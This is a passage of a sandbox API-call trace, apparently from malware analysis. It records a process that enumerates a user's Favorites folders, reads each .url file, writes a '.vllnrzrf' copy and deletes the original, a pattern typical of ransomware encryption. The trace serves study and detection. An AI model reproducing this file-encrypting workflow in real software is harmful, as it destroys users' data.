hFindFile=0x1a578c60, lpFindFileData=0x1cfae850 | out: lpFindFileData=0x1cfae850*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0103.946] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfae850 | out: lpFindFileData=0x1cfae850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0103.946] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfae850 | out: lpFindFileData=0x1cfae850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0103.946] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfae850 | out: lpFindFileData=0x1cfae850*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.946] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0103.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfaeab0) returned 1 [0103.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfaea70) returned 1 [0103.948] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", nBufferLength=0x105, lpBuffer=0x1cfae570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", lpFilePart=0x0) returned 0x41 [0103.948] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", nBufferLength=0x105, lpBuffer=0x1cfae570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", lpFilePart=0x0) returned 0x41 [0103.948] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", nBufferLength=0x105, lpBuffer=0x1cfae570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", lpFilePart=0x0) returned 0x41 [0103.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfaea50) returned 1 [0103.948] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x428 [0104.009] GetFileType (hFile=0x428) returned 0x1 [0104.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfae9c0) returned 1 [0104.009] GetFileType (hFile=0x428) returned 0x1 [0104.009] GetFileSize (in: hFile=0x428, lpFileSizeHigh=0x1cfaebe8 | out: lpFileSizeHigh=0x1cfaebe8*=0x0) returned 0xec [0104.009] ReadFile (in: hFile=0x428, lpBuffer=0x23a4300, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1cfaeb18, lpOverlapped=0x0 | out: lpBuffer=0x23a4300*, lpNumberOfBytesRead=0x1cfaeb18*=0xec, lpOverlapped=0x0) returned 1 [0104.010] CloseHandle (hObject=0x428) returned 1 [0104.013] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfae570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.vllnrzrf", lpFilePart=0x0) returned 0x4a [0104.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfaea50) returned 1 [0104.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x428 [0104.014] GetFileType (hFile=0x428) returned 0x1 [0104.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfae9c0) returned 1 [0104.014] GetFileType (hFile=0x428) returned 0x1 [0104.014] WriteFile (in: hFile=0x428, lpBuffer=0x23a8f00*, nNumberOfBytesToWrite=0x2ec, lpNumberOfBytesWritten=0x1cfaea28, lpOverlapped=0x0 | out: lpBuffer=0x23a8f00*, lpNumberOfBytesWritten=0x1cfaea28*=0x2ec, lpOverlapped=0x0) returned 1 [0104.015] CloseHandle (hObject=0x428) returned 1 [0104.016] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", nBufferLength=0x105, lpBuffer=0x1cfae570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", lpFilePart=0x0) returned 0x41 [0104.016] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", nBufferLength=0x105, lpBuffer=0x1cfae710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", lpFilePart=0x0) returned 0x41 [0104.016] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url")) returned 1 [0104.019] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", nBufferLength=0x105, lpBuffer=0x1cfae570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", lpFilePart=0x0) returned 0x43 [0104.019] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", nBufferLength=0x105, lpBuffer=0x1cfae570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", lpFilePart=0x0) returned 0x43 [0104.019] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", nBufferLength=0x105, lpBuffer=0x1cfae570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", lpFilePart=0x0) returned 0x43 [0104.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfaea50) returned 1 [0104.019] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x428 [0104.019] GetFileType (hFile=0x428) returned 0x1 [0104.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfae9c0) returned 1 [0104.019] GetFileType (hFile=0x428) returned 0x1 [0104.020] GetFileSize (in: hFile=0x428, lpFileSizeHigh=0x1cfaebe8 | out: lpFileSizeHigh=0x1cfaebe8*=0x0) returned 0xe2 [0104.020] ReadFile (in: hFile=0x428, lpBuffer=0x23aaab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1cfaeb18, lpOverlapped=0x0 | out: lpBuffer=0x23aaab8*, lpNumberOfBytesRead=0x1cfaeb18*=0xe2, lpOverlapped=0x0) returned 1 [0104.021] CloseHandle (hObject=0x428) returned 1 [0104.024] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfae570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.vllnrzrf", lpFilePart=0x0) returned 0x4c [0104.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfaea50) returned 1 [0104.024] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x428 [0104.025] GetFileType (hFile=0x428) returned 0x1 [0104.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfae9c0) returned 1 [0104.025] GetFileType (hFile=0x428) returned 0x1 [0104.025] WriteFile (in: hFile=0x428, lpBuffer=0x23af6a8*, nNumberOfBytesToWrite=0x2e2, lpNumberOfBytesWritten=0x1cfaea28, lpOverlapped=0x0 | out: lpBuffer=0x23af6a8*, lpNumberOfBytesWritten=0x1cfaea28*=0x2e2, lpOverlapped=0x0) returned 1 [0104.028] CloseHandle (hObject=0x428) returned 1 [0104.032] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", nBufferLength=0x105, lpBuffer=0x1cfae570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", lpFilePart=0x0) returned 0x43 [0104.032] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", nBufferLength=0x105, lpBuffer=0x1cfae710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", lpFilePart=0x0) returned 0x43 [0104.032] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url")) returned 1 [0104.034] CoUninitialize () Thread: id = 77 os_tid = 0xaac [0104.188] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0104.256] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1c92e780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0104.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ebe0) returned 1 [0104.256] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1c92e6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0104.256] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", nBufferLength=0x105, lpBuffer=0x1c92e670, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpFilePart=0x0) returned 0x3b [0104.256] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*.*", lpFindFileData=0x1c92e880 | out: lpFindFileData=0x1c92e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0104.257] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92e8d0 | out: lpFindFileData=0x1c92e8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.258] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92e8d0 | out: lpFindFileData=0x1c92e8d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0104.258] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92e8d0 | out: lpFindFileData=0x1c92e8d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0104.258] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92e8d0 | out: lpFindFileData=0x1c92e8d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0104.258] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92e8d0 | out: lpFindFileData=0x1c92e8d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0104.258] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92e8d0 | out: lpFindFileData=0x1c92e8d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0104.259] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92e8d0 | out: lpFindFileData=0x1c92e8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0104.259] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0104.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92eb30) returned 1 [0104.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92eaf0) returned 1 [0104.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", lpFilePart=0x0) returned 0x4d [0104.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", lpFilePart=0x0) returned 0x4d [0104.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", lpFilePart=0x0) returned 0x4d [0104.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ead0) returned 1 [0104.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0104.262] GetFileType (hFile=0x42c) returned 0x1 [0104.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ea40) returned 1 [0104.262] GetFileType (hFile=0x42c) returned 0x1 [0104.262] GetFileSize (in: hFile=0x42c, lpFileSizeHigh=0x1c92ec68 | out: lpFileSizeHigh=0x1c92ec68*=0x0) returned 0x85 [0104.262] ReadFile (in: hFile=0x42c, lpBuffer=0x23b3b70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c92eb98, lpOverlapped=0x0 | out: lpBuffer=0x23b3b70*, lpNumberOfBytesRead=0x1c92eb98*=0x85, lpOverlapped=0x0) returned 1 [0104.272] CloseHandle (hObject=0x42c) returned 1 [0104.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.vllnrzrf", lpFilePart=0x0) returned 0x56 [0104.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ead0) returned 1 [0104.275] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0104.275] GetFileType (hFile=0x42c) returned 0x1 [0104.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ea40) returned 1 [0104.276] GetFileType (hFile=0x42c) returned 0x1 [0104.276] WriteFile (in: hFile=0x42c, lpBuffer=0x23bbab0*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1c92eaa8, lpOverlapped=0x0 | out: lpBuffer=0x23bbab0*, lpNumberOfBytesWritten=0x1c92eaa8*=0x285, lpOverlapped=0x0) returned 1 [0104.277] CloseHandle (hObject=0x42c) returned 1 [0104.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", lpFilePart=0x0) returned 0x4d [0104.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", nBufferLength=0x105, lpBuffer=0x1c92e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", lpFilePart=0x0) returned 0x4d [0104.284] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url")) returned 1 [0104.287] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", lpFilePart=0x0) returned 0x57 [0104.287] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", lpFilePart=0x0) returned 0x57 [0104.287] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", lpFilePart=0x0) returned 0x57 [0104.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ead0) returned 1 [0104.287] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0104.287] GetFileType (hFile=0x42c) returned 0x1 [0104.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ea40) returned 1 [0104.287] GetFileType (hFile=0x42c) returned 0x1 [0104.287] GetFileSize (in: hFile=0x42c, lpFileSizeHigh=0x1c92ec68 | out: lpFileSizeHigh=0x1c92ec68*=0x0) returned 0x85 [0104.287] ReadFile (in: hFile=0x42c, lpBuffer=0x23bd6e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c92eb98, lpOverlapped=0x0 | out: lpBuffer=0x23bd6e8*, lpNumberOfBytesRead=0x1c92eb98*=0x85, lpOverlapped=0x0) returned 1 [0104.289] CloseHandle (hObject=0x42c) returned 1 [0104.378] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.vllnrzrf", lpFilePart=0x0) returned 0x60 [0104.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ead0) returned 1 [0104.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0104.378] GetFileType (hFile=0x42c) returned 0x1 [0104.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ea40) returned 1 [0104.379] GetFileType (hFile=0x42c) returned 0x1 [0104.379] WriteFile (in: hFile=0x42c, lpBuffer=0x23c2198*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1c92eaa8, lpOverlapped=0x0 | out: lpBuffer=0x23c2198*, lpNumberOfBytesWritten=0x1c92eaa8*=0x285, lpOverlapped=0x0) returned 1 [0104.380] CloseHandle (hObject=0x42c) returned 1 [0104.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", lpFilePart=0x0) returned 0x57 [0104.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", nBufferLength=0x105, lpBuffer=0x1c92e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", lpFilePart=0x0) returned 0x57 [0104.421] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url")) returned 1 [0104.423] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft 